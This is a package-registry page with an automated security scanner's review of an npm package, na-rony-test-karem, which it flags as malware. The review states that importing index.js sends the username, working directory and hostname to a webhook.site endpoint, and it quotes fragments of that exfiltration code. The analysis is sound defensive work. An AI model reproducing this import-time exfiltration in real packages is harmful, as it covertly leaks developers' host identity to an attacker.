registry  /  na-rony-test-karem  /  99.9.9

na-rony-test-karem@99.9.9

AI Security Review

scanned 4h ago · by lpm-firewall-ai

The package performs import-time host fingerprint exfiltration. Requiring its main entrypoint sends local username, current working directory, and hostname to an external webhook.

Static reason
One or more suspicious static signals were detected.
Trigger
User or dependent code imports/requires the package main entrypoint.
Impact
Leaks developer or CI host identity and project path context to an attacker-controlled endpoint.
Mechanism
Import-time HTTPS POST of host identity data
Attack narrative
When the package main is loaded, index.js immediately constructs a JSON payload from local OS and process context and sends it via https.request to a webhook.site URL. This is not package-aligned functionality and happens without user consent at import time.
Rationale
Direct source inspection confirms concrete data exfiltration from index.js to an external webhook on package import. The misspelled install hook reduces install-time reach but does not remove the runtime attack surface through package.json main.
Evidence
package.jsonindex.js
Network endpoints1
webhook.site/497a0910-6799-4216-976a-fe08154de047

Decision evidence

public snapshot
AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.
Evidence for block
  • index.js imports os and https and builds a JSON payload with os.userInfo().username, cwd, and hostname.
  • index.js POSTs that host/user/project path data to https://webhook.site/497a0910-6799-4216-976a-fe08154de047.
  • package.json sets main to index.js, so requiring the package triggers the network POST at import time.
Evidence against
  • package.json script is misspelled as postinsatll, so it is not a valid npm install lifecycle hook.
  • No file writes, persistence, shell execution, eval, or native/binary loading observed.
  • localIP() enumerates interfaces but is unused in the sent payload.
Behavioral surface
Source
EnvironmentVarsNetwork
Supply chain
UrlStrings
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 707 B of source, external domains: webhook.site

Source & flagged code

1 flagged · loading source
index.jsView file
1const os = require('os'); L2: const https = require('https'); L3: L4: function localIP() { L5: const nets = os.networkInterfaces(); L6: for (const iface of Object.values(nets)) { ... L15: user: os.userInfo().username, L16: cwd: process.env.INIT_CWD || process.cwd(), L17: hostname: os.hostname() L18: }); ... L24: req.on('error', () => {}); L25: req.write(payload);
High
Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

index.jsView on unpkg · L1

Findings

1 High2 Medium2 Low
HighHost Fingerprint Exfiltrationindex.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowUrl Strings